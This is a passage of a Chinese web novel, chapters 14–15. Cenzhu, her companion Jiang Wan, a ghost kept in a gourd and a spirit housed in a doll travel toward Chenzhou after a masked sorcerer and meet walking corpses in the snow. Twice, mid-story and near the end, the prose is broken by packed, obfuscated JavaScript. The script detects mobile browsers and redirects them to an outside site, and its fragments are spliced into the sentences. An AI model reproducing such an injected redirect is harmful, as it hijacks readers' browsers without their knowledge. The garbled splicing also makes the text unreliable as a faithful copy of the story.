这间屋子……芩竹忽然记起来手中的草人。这个东西是和木条钉在一起的,当属于同一个阵局。 芩竹又仔细看了看这个草人,不过巴掌大一点,一点都不好看,五官没有,身体上也没有裹些布料当衣服,四肢的末端分别用线缠了一圈防止草枝炸开,中间相当于胸膛地方的线断开了,里面乱糟糟的一团,想来是那个铜针当胸而过,把它给扎坏了。 她伸出手指在那个破破烂烂的地方拨了两下,里面好像和木条一样塞着些什么。 她认真扣着里面的东西,姜绾在旁边一脸嫌弃地看着她,弱弱道:“我刚就想问了,这玩意你从哪搞来的?” “和那个一起的。”芩竹朝旁边地上的铜针努了努嘴。 姜绾听后咂了咂舌,说:“这种东西看着就晦气,一般不都是是要咒人或是偷换个命格什么的么?”说着从旁边把那长针拿过来,在芩竹面前比了比,瘪着嘴摇摇头又扔到一边去,意思是:不知道有多恨,用这么长的针。 芩竹竟然从她的表情里,读出了这个意思。没做评价,而是把那张看不出年月的纸条给她,说:“看看,恨的是谁。” “正宁……看不出来,反正不是元年……王红?”姜绾最后一句稍微小了声音,对芩竹偷偷道。 芩竹摇头,表示她也不知道,可现在除了王红好像也没别人了。 正想着,她腰间的碎块又开始震动,芩竹没有管,手指用力将草人身体的一个硬块夹了出来。 一时间,嗡鸣声更甚,房内的人都被这声吸引,同时,芩竹指尖的硬块猛地朝腰间碎块飞去,她指尖施力较少,没有及时捏住,那东西便如愿和碎块相会。 “叮——” 清脆一声过后便是刺耳的鸣叫,又在片刻后消失,整个宅子一直以来闷着的大盖子好似猛地被掀开,压在众人心口那股沉重突然消失,可还没有轻松一会,又在这间屋子里爆开。 尤其是芩竹,她感觉身上好像突然挂了千斤的锁,仿佛要将她拽到地里去,而眨眼之后,又消失了。 房内几人都被这断断续续奇怪的感觉搞得莫名,芩竹看了眼草人胸膛里塞着的破布,又将视线移到腰间,之前那拇指大的碎块此时变得稍大了点,是靠着刚才那个硬块的拼凑延伸了些,碎块此时也乖巧下来。 原来是在找这个啊…… 草人是那怪人术士拿着的,之前幻境里他似乎也给了王老爷什么东西,难不成就是这个? 芩竹忽然找到了方向,转头去看王老爷,而那人还呆傻着,正被王世才想着办法搀扶,哄了好几次才站起来,又不知看见了什么惊恐地重新缩回了椅子。 看这样子也不像是能问出什么,她便问王世才:“你知道王老爷口中的那个术士是从哪找的吗?” 姜绾顿了下,也转脸认真听着。 王世才终于又将王老爷扶了起来,闻言,认真思考了下,歉意笑笑:“那术士云游四方,之前父亲还托人找过没有找到,不过倒是有消息他近来在辰州出现过。” 好耳熟的地方。 芩竹斜眼瞅了眼旁边抿着嘴的姜绾,又问:“怎么确定是他的?” “那术士常年带个鬼面人皮面具,并不难找。”王世才说着,搀着王老爷出门,出去前还朝她们示意,表示失陪一下。 芩竹点点头,刚想转回来问姜绾个问题,结果就看见了站在自己身后这身熟悉的红衣,红衣鬼站得格外近,只离她一步之隔,肩头都是擦着他的胸膛才转过去。 芩竹向后退了一步站直,看了看旁边两脸震惊的桂枝和姜绾,上下打量了一下这只鬼,问道:“有事么?” “有,你去哪得带着我。”红衣鬼这会的动作说话倒没有之前那么卡顿了,就是动机越发莫名了起来。 “为何?”芩竹不解。 红衣鬼无辜道:“因为你身上一直挂着我啊。” 除他以外三双眼睛都向芩竹腰间看去。所以,那黑色碎块是他啊…… 芩竹无言,怪不得她身上阴气如此之重,等等——难不成桂枝也是因为这只鬼被困在宅子里所以她也阴差阳错地卷进来了。 她心里想着,眼神就不由自主看向面前的鬼。 红衣鬼好似知道她心中所想,瞬间撇清关系:“我醒来第一眼看见的就是你,要真做了什么,那也和我没关系,都是刚才那老头干的。” 姜绾:不敢说话,但很不服。 红衣鬼头也不回,继续道:“我找不到你,力量不够用,就——” “哦,怪我。”芩竹面无表情,走到桂枝面前。 “不是…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13562355|142769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”红衣鬼跟在她后面。 芩竹只是刚才注意到一件事,想过来求证一下。她走到桂枝面前,像刚才一样,去握桂枝的手,这次没有穿过虚影,而是结结实实和捏着手和她握了握。 “应该是他身上的阴气,让你有了实体。”芩竹说着。 姜绾在后面不停掏着包袱里的东西,叮叮当当的声音停下,她小跑过来,小心递给她一个葫芦,一拃长,挺精致,拿着它兴奋地说:“这葫芦能让装下小鬼不会消散,咱们要不先让夫人在里面呆着,再去找和尚超度?” 芩竹听着,给她让出地方,看向桂枝。 桂枝愣愣看着她们,迟疑道:“这,会不会太麻烦了?” “不会,顺手的事。”姜绾笑道,拔开木塞又对桂枝说,“我不知道里面是什么样子,但应该是能说话的,如果不舒服就告诉我啊。” 说完,葫芦口对向桂枝,眨眼刚刚坐在那里的身影便不见了。 姜绾赶紧盖上盖子,把葫芦靠近耳边,问道:“夫人?” “我在。” “会晕吗?”姜绾轻轻摇了摇葫芦。 桂枝很快答道:“没感觉。” “那就好,我把你放怀里,”姜绾说着就将它好好塞进衣襟,做完后忽然注意到旁边站着的红衣鬼,犹豫道:“你要不要……” 红衣鬼斜睨她一眼,拧眉道:“我不是鬼。” 他本就比她们高大半个头,自上而下看过来,眼睛也不似和芩竹说话那般睁得圆,鲜亮的红衣套在阴气溢满的身上,反显得整个人更加死气沉沉,看上去怪吓人的。 姜绾往芩竹身边靠了些,嘟囔着:“不是就不是,这么凶干什么……” “什么?”芩竹本是要拿着草人出去找王世才要钱的,感受到她的动作,后退的路被堵住,于是扭头问了声。 然而不等姜绾回答,跟前凑过来的那只红衣鬼就先开了口:“我不是鬼,我是灵。” 芩竹不知道他突然冒出来解释这个做什么,对她来说这红衣……灵究竟是什么好像影响都不是很大。 于是她和他对视沉默,默默来了句:“所以呢?” 红衣鬼:…… 他低头确认了眼芩竹腰间的碎块,抬头郑重道:“我的灵体维持不了多久,想跟着你,还得有个载具。” 芩竹闻言,转去看姜绾的动作到一半被他打断:“我进不去那个葫芦。” 她又好好看了看面前这张脸,说话时满脸无辜,但不知怎么,她就是不太信,下意识认为这家伙一定是不愿意在里面呆着。 但哪有这么多选择给他,要么就是那个葫芦,要么就是腰间的碎块,这两个他都不愿意呆,那就…… 芩竹把手里这个被开膛破肚了的草人举到他眼前,瞪着双死鱼眼说:“实在不行你就在这呆着吧。” 红衣鬼眉眼垂下来,看着极不情愿,可他的身影越来越淡,显然也是没什么机会拒绝,便抬眼看向她,说:“那你也把我揣怀里?” 姜绾瞪大眼睛看着他,又异常警惕地去拽芩竹,大眼睛里写满了话:“这货是个登徒子啊!” 之前的话芩竹还能解读出来,但这次的含义太广,恕她做不到,只能疑惑地“嗯”一声企图引导姜绾告诉自己。 姜绾……姜绾在旁边那个鬼的压迫下根本说不出话,暗暗翻了个白眼,继续躲到芩竹身后闭上了嘴。 芩竹什么也没接收到,就继续刚才和红衣鬼的谈话:“你快没了。” 红衣鬼只当她是同意,身影一闪,消失不见,同时,芩竹手上那个潦草的草人干巴巴地抻了抻胳膊腿,正反五官都没有的头发出声音:“我来啦。” 场面太过惊悚,姜绾看不得这种,鸡皮疙瘩狂掉,默默缩回了脑袋。 芩竹倒是适应良好,也可以说她压根不在乎,举着草人放在了肩膀上,无甚感情地说:“站好,摔倒了就自己在后面跑。” 红衣鬼:! 姜绾大喜,昂首挺胸从芩竹身侧路过,转过来对着那没头没脸的破烂草人做了个鬼脸,草人似是瞥了她一眼,挪着步子靠近芩竹的脖子,然后小心地坐了下来,没有抱着脖颈,也没有扯着头发。 这倒是让姜绾有些惊讶。 她没再去招惹那草人,走到了芩竹另一边,好奇道:“怎么感觉他和你那么亲近。” “这个吧,我带了三年。”芩竹拿着碎块朝她晃了晃。 姜绾伸手在那碎块上拨了一把,说:“你就这么带着他了?” “嗯,顺手的事。” 姜绾一愣,这不是她刚才说的话吗? 反应过来笑了笑,背着手跳到芩竹面前,问:“你叫什么名字?” 问得自然不是芩竹,而是她肩膀上的草人。 草人沉吟片刻,说了个不是太熟练的发音:“商……则。” 脑海中仿佛有一张画卷缓缓打开,一滴墨滴在正中洇开,里面出现了一个芩竹从来没见过的景象。 土地上,一根手指正在慢慢“画”着字,因为不会写字,笔画都是错的,所以只能靠记忆中的样子,在地上画下来。 最后一笔落下,视野前推,她看清了地面上的两个字——商则。 14. 鬼面人 姜绾瞄着商则的样子,清了清嗓子:“没事,我们直接叫你就好。”说罢又非常自然地介绍了自己和芩竹,还包括葫芦里的桂枝。 芩竹不明白她的用意,听她说:“我们之后肯定是要同路的,总得互相认识一下。” “嗯,辰州嘛,我还记得。”芩竹幽幽道,揉了揉眼睛,掏出酒壶喝了一口,突然噎住。 姜绾尬笑两声,见芩竹的反应,记起壶里的酒之前给她泡了符纸灰,于是赶紧上前抢过酒壶,冲出房间,院外飘来一声带着波浪的喊声:“我去给你添点!” 芩竹擦了擦嘴,抬步跟上。 她要找的术士在辰州,先前姜绾死活要拉着她去的也是辰州,有些巧,而且问姜绾去那里做什么也不回答,很奇怪。 “你们是姐妹?”耳边的草人忽然说话。 芩竹先是摇头,又沉默一瞬,道:“得找个裁缝。” 商则不知道话题怎么飞到裁缝身上,便问了一嘴,然后听到了芩竹的叹气声:“你太扎了……” 商则:…… 他在肩膀上挪了几步,想挑一个对芩竹来说比较舒服的位置,可她本来就穿得单,这草人的腿还踩哪扎哪,芩竹忍了两下阻止了商则企图爬去自己脑袋上的举动:“坐好。” 商则:“好的。” 院里的人不知道房中发生了什么,在他们眼中不过是几个人进去了一会,老爷便不知是何缘由中了邪,大少爷对此一点不着急,只是又要劳烦那战战兢兢大夫来一趟了。 芩竹也感受到了那些隐约投过来的视线,她没有理会,抓住一个企图要溜的小伙计问了下王世才在哪,听了他的回答往前厅去。 前厅此时就王世才和姜绾两个人,一个坐着,一个叉着腰伸出只手一点一点,走近些了终于能听清她在说什么:“……之前那是你们告示上贴的赏钱,现在还有芩竹给你们二夫人治病用的符纸钱……你们家这事有多大你又不是不知道……谢谢大人!” 看样子是得手了,芩竹想。 姜绾拎着钱袋蹦跶着转身,看见芩竹了朝她笑着摇了摇,王世才看她来了也站起来,问:“两位这是要走?” “嗯。” 芩竹应了声,刚要转身,听到后面有人喊道:“请留步!” 声音的主人正是本该卧病在床的付宁。 阵局已破,她身上压着的束缚自然也是解了的,只不过醒后仍然气虚,被小丫鬟搀扶着脚步虚浮走得缓慢,应该是看实在赶不上了,不得已才出言将人喊住,这会厅里三人皆停下脚步看向她,让付宁还略有些尴尬。 她垂了垂眼,舔了下略干的唇,抬头看向他们问道:“宅子里的事情都解决了?” 王世才不清楚母亲来的意图,怕这话让芩竹两人多心,显得付宁不信任她们,于是快速回道:“自然是,母亲安心。” 听他这严肃的口吻,付宁也知道自己问话不太妥当,赶忙赔笑道:“是是……我其实就是想问问,这些都是桂枝姐姐做的吗……” 付宁一直都在房间里,病着时就只能迷迷糊糊听见别人讨论宅中发生的事,这些人自然全是把脏水泼到桂枝身上。 姜绾对桂枝的印象可谓是好到极致,立刻反驳道:“当然不是,这都是王老爷为——” 她及时止住话头,瞥了眼旁边没什么表情的王世才,没音了。 芩竹疑惑看向她:“怎么不说了。” “心烦,不愿意说了,”姜绾看芩竹白纸一样的表情,深吸一口气道:“你想说你说吧。” 竟然能心烦到话都不愿意说,芩竹不懂,反正让她说她就说。正要开口,脸侧忽然被轻轻扎了一下,她微微偏头,还未说点什么,那边付宁突然惊讶道:“你你……” 付宁的视线落在自己肩膀上,想必是看到了刚才商则的举动,芩竹只好先解释这个现象:“不用理他。”说完她也觉得刚刚的话不用再回答了,干脆直接问:“二夫人想问什么?” “没事,我该问的已经问完了,二位慢走。”付宁摇摇头。 姜绾还以为她会想要和桂枝叙叙旧,一想会不会是她不知道桂枝在她们这里,都要把葫芦拿出来,却又感觉到葫芦里传来轻轻的震动,好像摇头。 这是拒绝了? 她有些不解,去看芩竹,那人依然是一脸漠然,抬手摸了摸葫芦将它重新压进姜绾怀里,说:“走吧。” 王世才长出了一口气,对她们微一拱手:“慢走。” 姜绾没有再强求,揣好葫芦提了提包袱快步跟到芩竹身边钻出宅院大门。 两人踏出门槛时皆是长长呼出一口白气,清晨的阳光打下来,把染了一身的阴寒晒得一干二净,硬生生让两人站直打了个激灵。 “啊——终于出来了,感觉过了一夜!”姜绾感叹着,旁边则是飞出道淡淡的大哈欠,她听着想笑,又突然想起来,从葫芦旁边掏酒壶还给芩竹,“喏,给你装好了,那王世才说这可是东越才有的清若空。” 芩竹眨掉模糊眼睛的水汽,接过来灌了一大口:“我没喝出来区别,你尝尝?”她又递了回去,却被姜绾拒绝了,理由是这一口还是很贵的。 芩竹也没坚持,不过说起贵,她眼神在姜绾手里的钱袋上扫了一下,问:“这些钱够吗?” 她顿了顿,不等姜绾回答,又道:“如果不够,刚好也得跟你走一趟辰州了。” 姜绾想起之前她拼命让芩竹跟自己走的样子,讪笑一声,说:“那个,其实不走也行的,就是吧……” “所以你让我跟你走究竟是做什么?”芩竹好奇道。 姜绾张了张嘴,然而声音却是从肚子里发出来,“咕噜”一声个,把稍显严肃的氛围破坏的一干二净。 芩竹颠了颠酒壶又抿了一口,说:“去吃些东西吧。” 姜绾:“行,这顿我请,带你去吃点好的。” 说是吃点好的,倒也没真的跑去哪家酒楼里挥霍一番,而是找了家客栈,刚好吃完饭还能上去睡上一觉。 两人一人一碗阳春面,芩竹又要了碗酒来,在姜绾震惊的眼神下,把那碗只有两个铜板的旧乌禾和据说每月只限十五瓶的清若空掺在了自己那个堪比提神神药的酒壶,还晃了晃。 姜绾瞪着大眼睛把一根面条吸溜进去,叹息道:“你可真是……” “怎么?”芩竹喝了一口,还是没觉得有什么不同,伸过去要给姜绾尝尝,“现在可能不怎么贵了。” 这么算的吗?姜绾一时无语,也实在好奇味道,还真就接过来尝了一口,表情登时变得非常难看。 如何形容,只能说是两个对冲的味道本就在打架,只不过她刚好喝了一口,所以战场换成了她的嘴。 姜绾吐了吐舌头,都有点舍不得去吃面了,她怕污染这挺好的面味。 一看对面,芩竹悠哉悠哉吃得香喝得也香,于是由衷地感叹了句:“你这五感和七情别是和记忆一样都丢了吧。” 芩竹这回倒是回答地快:“没有,这面很好吃。” “我也想尝尝!”芩竹桌边艰难地伸出两只草扎手,伸出个炸毛草头,这草头还出了人声,正是商则。 因为行动自如的草人对于常人来说还是过于惊悚,所以在芩竹和姜绾的一致决定下,他被别进了芩竹的腰带上强制装死了一路,谈话参与不了就罢了,这会听她们说好吃的也只能看着,有点受不了了。 芩竹刚挑起一缕面,看见碗便冒出来的头,又给他默默压回去,说:“别动。” 商则:……冷漠! 但他还是听话呆在她腿面,坐得板正。 冷漠芩竹继续吃面,问姜绾:“可以说了?” “其实……就是有人拿着百两银子找你。” 姜绾趴在桌子上,头埋在碗里,干巴巴说完反倒爽快,看向她道,“那我这辈子没见过那么钱,就想着……” “是谁?” “不知道。” “啊?”芩竹和不知什么时候再次爬上来的商则一同疑惑。 “但现在知道了,他带着一个很奇怪的面具,和王世才说的那个术士很像。”姜绾说。 姜绾生在辰州的一个小村子里,从小无父无母,跟着村长婆婆生活,也算是吃百家饭长大的,村长婆婆会些堪舆看相,没事便给姜绾教,还有点不太成熟的六爻之术,这些姜绾一直记着,婆婆去世后,她便靠着这些赚点小钱。 可长久后,人们便知道她会的其实也不过是皮毛,这么下去不行,姜绾就跑没人认识她的地方,靠着嘴皮子赚钱,总也过得下去。 有一日,她照常支着小摊哄高兴送走一位富贵公子,摊上来了个带着帷帽的奇怪男人,上来就是问她,听说你是这里有名的术士。 这人给人的感觉就很难受,姜绾下意识就是否认,准备收摊,可他只是拍下一张小像,说,要找上面的人。 姜绾连画上人长什么样都没看清,只听见这人说什么事成之后百两银子,然后扔下一叠银票和一截白色发带,说是那人用过的东西,便走了。 她当时也没想多,就惦记着那许多钱,抱着东西回去才发现事情没有她想象的简单。靠着这发带她什么也占卜不出来,生生耗了一夜,仍然一无所获。 大概这钱也不归她所有,姜绾只好放弃,就想着明一早带着东西还给那人。 可谁知,这时候院门被人慌忙砸响,她出去一看,是之前和她有过摩擦的同行,大半夜来此一看就目的不纯,本想着不理,但那人看到她出来竟然直接给她跪下了,她被吓得退后三步,从院门缝隙看到了那人手里的发带。 白色的发带在月亮下格外晃眼。 姜绾心头不好的预感更加强烈,没忍住问了那人的需求,才知道那人是想让她帮忙占卜这发带的主人在哪。 可她也不知道,那人以为她是不愿帮忙,哭的凄惨,说自己被人威胁,如果三日之内再找不到,就杀了他祭天,前两日想逃出城外都被人拦了下来。 姜绾浑身仿佛被浇了一盆冷水,她当着那人的面又占卜了一次,结果还是一样。 院门内外,多了两个崩溃的人。 她不知道那人后来怎么走的,就记得第二日清早自己没有出摊,门外却来了位陌生的叫门人,正是昨日带帷帽的怪人。 姜绾差点腿软,打着哈哈说她昨晚忘记了,可否宽限两日,怪人没说可不可以,走时风吹起黑纱,让她看见了里面诡异的面具。 “我也没敢在家躲着了,照常出摊,后便听说那个同行死了的消息,就也待不下去了,收了点东西跑路。刚好有个大户人家出城,拉了几车东西,我就藏在其中一辆车里面混出城去。 可恰好那节发带被我弄丢了,而且这一路上我都觉得有人跟着我,快四个月了,每天提心吊胆的。”姜绾终于能说出来了,整个人都舒服不少,重新抱着碗吃面。 芩竹听完她这一大段话,迷惑的一时半会都不知该从哪问起。 我在找他,而他也在找我? “那怪人找芩竹是要杀人她?”商则露出声音。也不怪他这么想,实在是那人做法凶残。 也幸好他们在大堂角落里坐着,又不是饭点,本就人少,注意到这里的人更少,要不芩竹肯定一巴掌把商则按在地上。 姜绾闻言摇头:“我不清楚,但你这么难找,估计他们人还没找到呢,找人的人就先被杀了大半。” 这怪人做事如此蹊跷,既要找人,又不给太多时间,而且听她的说法,这山芋何止烫手,是直接将人烫死。 他手上还有自己要找的碎块,什么恰好帮王家躲过一劫肯定是假话,倒向是看准了这里特意将那碎块放在某个特定的地方。 正想得入神,姜绾忽然叫她:“芩竹,你真要去辰州?” “之前不还死活让我去,现在怎么这幅纠结样子?”芩竹问。 姜绾爱钱惜命两头顾, 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到现在,别说姜绾了,芩竹也不知道这碎块对她究竟有什么重要的。就只是醒来时,便有个声音告诉她,让她去将它找齐,拼好,仿佛自己生下来的使命便是这个。 芩竹也没什么抗拒的心理,顺其自然,要找便找,四处碰壁,也就是现在才堪堪寻到些苗头,怎么能放了呢。 而全场唯一一个和碎块有直接联系的商则,他一直没有说话,趴在桌边安安静静听芩竹说完,就放下手,乖乖坐在她腿面。 姜绾见她讲不听,暗自气喘了一会,突然一拍桌子看着她道:“那我和你一起去。” 芩竹手忙脚乱扶了下被姜绾这一巴掌震得歪下碗边的筷子:“可以。” 见她如此平淡的反应,姜绾准备好的说辞完全没机会说。 她顿了顿,想来日后要和这个人形木头相处,肯定得提前适应,于是也不憋着,把刚想好的话吐出来:“我跟着你是因为你这样的我实在放心不下,若是说错话被人打死,还不如我把你给了那怪人,还能得了赏钱。” “就是到时候你可别怪我啊!”后面的话完全是玩笑,姜绾故意说得夸张,挑眉看向芩竹。 可那人和刚才的反应依旧差不多,不对,有差,她明显比刚刚困,一直平稳的声调放得缓了些,粘糊着问她:“怪你干什么?” “就是……”这让她怎么解释啊,姜绾无语地想,摆摆手站起来收拾东西,“行叭,上楼睡觉。” 芩竹对她这种一会一个样子倒是没什么所谓,困了就睡,抓起她唯一一个家当——商则草人,大跨步上去睡觉。 姜绾看着她更加无奈,皱着脸拎着包袱冲上去。 十一月的天,两人在外面冻了一清早,芩竹钻进被窝的脚都是麻的,和这床冷被不知道谁暖谁,商则被她扔在对面的桌子上,安稳躺着看天花板。 自从他附身草人被她带在身边,就好像了了庄心事一般,安分的和之前那个红衣鬼判若两人。 好吧,本也不是人。 芩竹阖上眼,差些进入梦乡,被子一扇,旁边又哆哆嗦嗦钻进来一个人,打着牙颤说:“怎么这么冰,亏我还多等你捂了捂被窝。” “我也冰,冰的和冰的碰不成热的。”芩竹闭着眼回答姜绾的问题,这么两句话,已经又快睡着了。 姜绾看她表情就能猜出来,抖着身子念叨:“行行,睡吧睡吧。” 也不知过了多久,芩竹醒来,一睁眼便是姜绾凌乱糟糟的后脑勺,这后脑勺还一耸一耸,便有嗡嗡的说话声入耳。 她醒了醒神,听明白是姜绾在和谁说话,浅浅挪了挪身子,才发现是和坐在床脚下的桂枝聊天呢。 桂枝看来在葫芦里呆的不错,这会已经有了实体,看见芩竹身子动了便笑:“醒啦?” 眼前这个后脑勺闻言,连带着身子一卡一卡地挪翻正身子仰面朝上,艰难地和那沙地上的鱼一样,斜眼看向她:“你怎么这么能睡,都午时了,怕我这被窝被你搞凉,我都不敢乱动。” “现在能动了。”芩竹说着,从被窝里竖着钻出来,她睡在里面,外头一躺一坐,不太好出去,于是就腿上盖着被子靠坐着,这个角度高,能看见桂枝手上正做着针线活。 刚有实体就忙活了? 芩竹好奇地想问问,余光见姜绾正对她笑,就垂下眼去看,然后便见她抬手一指对面桌子,那里正瘫着个巴掌大的灰色的人样东西。 “什么?” 桂枝低头咬断线头,两手把腿上放的布料抖了抖,起身走去桌边,在芩竹疑惑的目光下摆弄了一番,最后拍了拍手又坐了回来,说:“好了。” 什么好了。 芩竹摸不着头脑,又向桌边看去,发现刚才的灰皮小人站了起来,身上穿了个黑色的长褂子,圆圆的脑袋上象征着脸的地方被绣上了两个小黑圆,和下方一个带着些弧度的短线,分别是眼睛和嘴巴。 啊……他是商则的新身子吧。 “草枝到底是扎,而且也不太干净。闲的没事我就扯了些布给他重新缝了一个,草人肚子里还藏着好多破布,挑挑拣拣塞到这个布娃娃里,也能撑得起来,”桂枝看着直愣愣站着的商则,就和看自家孩子似的,尽是慈爱,说完后还稍稍遗憾,“就是没有头发,等以后我再想想办法。” 商则大概是动作卡顿了下,从桌子上栽了下去,顿时惹得一阵笑声,当然是姜绾的。 “他最开始理都不理我和桂枝姑姑,后来提到你才勉强同意了。”姜绾边笑边拽着表情淡淡的芩竹。 “谢谢。”芩竹虽是感受不到她们这种快乐的情绪,但是会道谢,就是不知道“姑姑”这个称呼是哪来的。 “王家的桂枝夫人去世了,我一时不知道叫她什么,那就姑姑了呗。”姜绾道。 芩竹点点头,表示她懂了,爬下床将头发挽好,接过桂枝手里的布人卡在腰带里,说:“吃完饭走?” “好。” 15. 埋尸女 临湘县在邵州边上,隔壁便是辰州,此行说远也不是很远,且一路顺利。 可芩竹若要在辰州找那么个小术士和大海捞针也没差了,所以和姜绾商量后决定,先去姜绾从前遇见那术士的地方——叶城县。 进入辰州后,天气便毫不留情的开始冷了。她们行了大半个月,快到叶城县时就开始飘雪,越走雪越大,看这架势,再北边的雪应该下了许久。 幸好几人早有准备,她们四“人”,两只鬼不需要吃穿,芩竹本人不太怕冷,姜绾自己带着厚衣服,两人靠着从王家来的银子过得还算舒坦,一路也是说笑着还算欢快。 迎着风雪又走了几日,终于快到了。 这日辰时,云重天阴风刺骨,距离县城还有大半日路程的林子里,芩竹正掏出她那个扁酒壶喝着不知哪日客栈里掺和的酒,喝一口戳一下面前无论如何都生不着的火。 她呼出一口热气,将酒壶放在一边,扭头看着地上的厚雪……能着才是怪事。幸好坐着的是个高些的石头,不然她这屁股也别想要了。 想着,她又拿起树枝拨开柴火堆旁的雪,刚扫开一片,腿面上忽然爬出来一个圆脑袋黑衣服巴掌大的布娃娃,正是商则。 这布人正举着芩竹放在腿面的火折子拧着,企图把自己给点了跳那柴火堆里。 芩竹见着了,在他两只短手抱着盖子的时候便将他们分开来,缓缓道:“你这么干了,待会那两人回来,该找我的麻烦。” 一个得掏钱,一个得出力。 “又干什么坏事呢?”说什么来什么,这话语温柔还带着点笑意,不是桂枝又是谁。 芩竹单手捞着商则,转头看向来人,又看了眼她后面跟着的姜绾,问:“找到了?” 那人听她问话,遗憾摇头:“没有。”说完两步跨来她旁边坐下,悲痛道:“那可是我花了三两银子买的啊,早知道咱从那庙里出来的时候我就注意一点了。” 桂枝围在芩竹另一边,三人挤在这块石头上坐着。闻言她出声安抚:“没关系,再买一个,当时不走也怕出些事端。” “对啊,你先用我的喝。”芩竹递出自己那个酒壶。 时间回到前不久,那时候芩竹还不至于为着一堆点不着的木柴发愣,因为那会的她们,寻到了一个略大些的庙修整,本想着赶了一夜的路,终于能好好歇歇,可结果就是刚停下一会,这里又来了另一拨人,几个壮汉还带一辆马车,看样子是在运送什么。 这几年世道不太好,死于非命者不在少数,那伙人一看就不好惹,姜绾怕对上出什么事端,就拉着芩竹她们从后面溜了,谁知跑的时候,怀里那个新买的水壶不知掉到去了哪里,刚买就丢实在心疼,所以姜绾又拐回去找,还拉了个桂枝作伴。 说到桂枝,她这些日子在葫芦里越养越精神,只要不是阳气太旺,日头太大的地方,化出实体在路上走走是没什么问题的。反倒是商则,他从开始便是只有灵体,虚影一坨一直缩在这布人里,半点没有之前在王宅里那活跃的样子,后来芩竹才搞清楚,商则本身阴气够重,某种程度上,桂枝这么活奔乱跳,还算是托了他的福。 这般想着,姜绾也少说了两句,芩竹还是那样当着一路的人形马车,反正是个布人,也不重。 思及此,姜绾长叹一声,接过那个各种香味充斥的酒壶,刚刚张开的嘴闭上,又默默还了回去,叹道:“说来我们也算幸运了。” 芩竹接过来又顺手灌了一口,打了个哈欠,认同点头。 一路上来,冻死饿死不在少数,更别说还有遭遇不测的,她们吃穿起码不愁,遇到的同路人能避也避开了,闲下来真该烧支香。 “赶路吧,早些到早些休息。”说着,又是一阵寒风刮过,芩竹裹了裹围在脖子上的围兜,抖了抖身子,托了下手上的布人起身。 商则非常识趣,跳起来爬到她肩膀上压住那一角漏风的围兜。 姜绾苦着脸揉着肚子:“好饿……” 几人继续向北,风雪依旧,前路或许有人踏出来的路也被厚雪盖得看不出了,只能凭着姜绾仅有的记忆猜着走。 不知多久,这里的树稀了些,雪地白一坨黑一坨染得很脏,芩竹伸出的脚犹豫了下,怀疑她们莫不是走到什么满是陷坑的地儿了。 带路的姜绾也有点别的想法,看着她讪讪笑了下,紧急带着她们拐了另一个方向。 不知道是桂枝本身性格还是死了一身轻松的缘故,她干什么都乐呵呵的,慢悠悠跟着前面两个小姑娘,偶尔讲点某处听来的故事给她们解闷,或就像现在,干点芩竹干不来的事——安慰姜绾。 芩竹听着旁边三两句把姜绾的思绪又不知扯到哪里的桂枝说话,熬了一夜的自己也有点放空,耳朵听着热闹权当解闷,所以她也没注意到后面多出的一些奇怪声响。 沙沙沙——拖得长长的,偏偏混在前面三位的踩雪声里,听得并不真切。 正在芩竹侧颈兢兢业业挡风的布人忽然直起身子,圆圆脑袋拧着并不存在的脖子向后看去,布料艰难拧出一道褶子,他那两颗豆豆眼眨了下,刚好看见一只青紫僵硬的手伸到眼前。 那只手应是干瘦,却又奇怪的肿着,裹着雪粒的粗糙手指下面是裂开的伤口。 商则这张布脸上做不了什么表情,因此向上看到那张和手的处境十分相似的僵硬的脸时,也只是偏头对着芩竹的耳朵说:“后面有东西。”然后再把面前快要碰到芩竹后颈的手用他那小短脚踹到一边。 至于怎么没有踹飞……商则现在做不到。 芩竹听见商则的话,飞快退后转身,恰好看到那手臂偏去一边的——她仔细辨认了下,面前这个像是死尸,应当是冻死的。 注意到她的动作,旁边两人自然也发现了身后的异状。 姜绾看不得这个,赶紧闭眼,拉着桂枝条件反射就想往芩竹身后缩,芩竹让了一步,本意是想上前替她挡一下,却不想这一下余光注意到侧边的黑影,又拽着姜绾往自己前面扯了一把。 这一把直将姜绾拽到了最开始那只死尸面前,直面恐惧,姜绾拼命向后梗着脖子,使劲捂住自己的嘴,屏住呼吸,而刚才站在姜绾侧边的死尸被芩竹这么一搞抓了个空,便伸直胳膊无视了桂枝向她挪来。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13562357|142769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >芩竹拉着姜绾向后慢慢退着,这么点时间,面前几棵树后又冒出了几道慢腾腾向这边移动的黑影,她看着眼前的景象,正要回头,耳边就先传来声音:“停下。” 她立刻止住步子,怀里的姜绾感受到这动作,眼睛眯开一条缝,用气声道:“他们这么慢,要不咱们快跑。” 很快肩头上又传来声音:“那他们就会像闻见肉的狗,你跑多快他们跑多快。” 这个形容既不美妙又难受,偏生还无法反驳。 “看着攻击性不强,找点符贴上就动不了了。”芩竹偏头去看身前的姜绾。 姜绾:…… 她愤愤地拆着手上的包袱,嘴上暗骂:“我看这莫名其妙诈尸估计也和你有关!”说得必须是商则,谁叫他的阴气能养一只活鬼。 骂完抬眼看了看这一群死尸,顿时肉疼的慌,小心翼翼抽出来一叠,递给挡在身前的桂枝手上。 “桂枝姑姑,你省着点啊,千万小心看看别贴多了,”姜绾带着不舍的波浪说完,再回头把几张符纸拍在商则那小身板上,气呼呼道,“干活!” 